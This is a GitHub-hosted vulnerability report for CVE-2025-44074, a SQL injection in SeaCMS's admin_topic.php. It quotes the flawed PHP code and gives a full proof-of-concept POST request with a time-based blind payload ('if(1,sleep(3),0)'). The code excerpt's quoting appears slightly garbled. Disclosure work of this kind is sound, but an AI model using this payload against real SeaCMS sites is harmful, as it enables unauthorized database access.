
 **202110420106** Update seacms_topic_sql.md 

ca28586 · 2 days ago



16 lines (9 loc)...

Preview

Code

Blame

Raw







CVE-2025-44074

Analysis Report:

filename: \SeaCMS_13\Upload\o09sqn\admin_topic.php

```
php admin_data relate.php  php admin_topic.php  ×  php index.php  php test.php

106     exit;
107 }
108 elseif($action=="edit")
109 {
110     if(empty($e_id))
111     {
112         ShowMsg("请选择需要修改的专题","admin_topic.php");
113         exit();
114     }
115     foreach($e_id as $id)
116     {
117
118         $sort=$_POST["sort".$id];
119
120         if(empty($sort))
121         {
122             $trow = $dsql->GetOne( sql: "select max(torder)+1 as dd from sea_topic");
123             $sort = $trow['dd'];
124         }
125         if (!is_numeric($sort)) $sort=1;
126         $dsql->ExecuteNoneQuery( sql: "update sea_topic set sort='".$sort.'" where id='".$id.'";
127     }
128     clearTopicCache();
129     header( header: "Location:admin_topic.php");
130     exit;
131 }
```

Variables are simply concatenated directly into sql statements resulting in sql injection

Verification



Sending a request triggers sql injection

请求

美化 Raw Hex Query params Body params 链接

```
1 POST /8mrumn/admin_topic.php?action=edit HTTP/1.1
2 Host: 192.168.255.156
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 Origin: http://192.168.255.156
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0)
  Gecko/20100101 Firefox/129.0
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
  age/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Referer:
  http://192.168.255.156/8mrumn/admin_datarelate.php?action=result
9 Accept-Encoding: gzip, deflate, br
10 Accept-Language: zh-CN,zh;q=0.9
11 Cookie: PHPSESSID=5v93294nu5ruqkd20h6dlsjrh4
12 Connection: keep-alive
13 Content-Type: application/x-www-form-urlencoded
14 Content-Length: 24
15
16 e_id[0]=if(1,sleep(3),0)
```

0高亮

完成

Event loop (7) All issues (21)

响应

美化 Raw Hex 页面渲染 链接

0高亮

Notes

447字节 | 3,046 millis